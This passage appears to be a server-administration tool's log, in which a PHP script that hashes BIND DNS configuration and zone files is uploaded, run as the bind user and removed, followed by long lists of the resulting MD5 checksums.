				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 10:36:46: 

runuser -l bind -s /bin/bash -c '/tmp/pkp407593; rm /tmp/pkp407593'

2026-04-28 10:36:46: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 10:36:46: Establishing a connection
2026-04-28 10:36:47: 

PUT: /tmp/pkp816978

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 10:36:47: 

runuser -l bind -s /bin/bash -c '/tmp/pkp816978; rm /tmp/pkp816978'

2026-04-28 10:36:47: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
